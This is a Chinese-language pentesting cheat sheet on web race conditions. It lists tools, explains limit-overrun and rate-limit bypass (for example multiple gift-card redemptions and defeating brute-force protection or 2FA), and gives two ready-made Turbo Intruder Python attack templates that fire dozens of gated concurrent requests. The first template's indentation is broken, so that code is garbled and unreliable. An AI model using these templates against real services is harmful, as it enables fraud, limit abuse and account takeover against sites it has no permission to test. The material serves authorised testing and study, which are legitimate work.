跳转至

竞态条件 (Race Condition)

当一个进程的执行结果批判性地或出乎意料地取决于其他事件的顺序或时机时,就可能发生竞态条件。在 Web 应用程序环境中,可以同时处理多个请求,开发人员可能会将并发性交由框架、服务器或编程语言来处理。

摘要 (Summary)

工具 (Tools)

  • PortSwigger/turbo-intruder - 一个用于发送大量 HTTP 请求并分析结果的 Burp Suite 扩展。
  • JavanXD/Raceocat - 使得在 Web 应用程序中利用竞态条件变得高效且易于使用。
  • nxenon/h2spacex - 基于 Scapy 的 HTTP/2 单包攻击低层级库/工具 + 利用时间攻击。

方法论 (Methodology)

限制超限 (Limit-overrun)

限制超限是指多个线程或进程竞争更新或访问共享资源,导致资源超过其预期限制的情况。

示例:超出取款限额、多次投票、礼品卡多次消费。

速率限制绕过 (Rate-limit Bypass)

当攻击者利用速率限制机制中缺乏适当同步的缺陷,从而超过预期的请求限制时,就会发生速率限制绕过。速率限制旨在控制操作(如 API 请求、登录尝试)的频率,但竞态条件可能允许攻击者绕过这些限制。

示例:绕过防暴力破解机制和多因素认证 (2FA)。

技术技巧 (Techniques)

HTTP/1.1 尾字节同步 (HTTP/1.1 Last-byte Synchronization)

发送除最后一个字节以外的所有请求,然后通过发送最后一个字节来同时“释放”每个请求。

使用 Turbo Intruder 执行尾字节同步:

engine.queue(request, gate='race1')
engine.queue(request, gate='race1')
engine.openGate('race1')

示例

HTTP/2 单包攻击 (HTTP/2 Single-packet Attack)

在 HTTP/2 中,你可以通过单个连接并发发送多个 HTTP 请求。在单包攻击中,将发送大约 20 到 30 个请求,它们将同时到达服务器。使用单包发送可以消除网络抖动。

示例

Turbo Intruder

示例 1

  1. 将请求发送到 Turbo Intruder
  2. 使用以下 Python 代码作为 Turbo Intruder 的载荷 (Payload)
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                        concurrentConnections=30,
                        requestsPerConnection=30,
                        pipeline=False
                        )

for i in range(30):
    engine.queue(target.req, i)
        engine.queue(target.req, target.baseInput, gate='race1')


    engine.start(timeout=5)
engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)
  1. 现在设置外部 HTTP 标头 x-request: %s - ⚠ 这是 Turbo Intruder 所需要的
  2. 点击 "Attack" (开始攻击)

示例 2

当你在发送第一个请求(request1)后必须立即发送第二个请求(request2)的竞态条件利用(时间窗口可能只有几毫秒)时,可以使用以下模板。

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=False
                           )
    request1 = '''
POST /target-URI-1 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>

parameterName=parameterValue
    '''

    request2 = '''
GET /target-URI-2 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
    '''

    engine.queue(request1, gate='race1')
    for i in range(30):
        engine.queue(request2, gate='race1')
    engine.openGate('race1')
    engine.complete(timeout=60)
def handleResponse(req, interesting):
    table.add(req)

实验环境 (Labs)

参考资料 (References)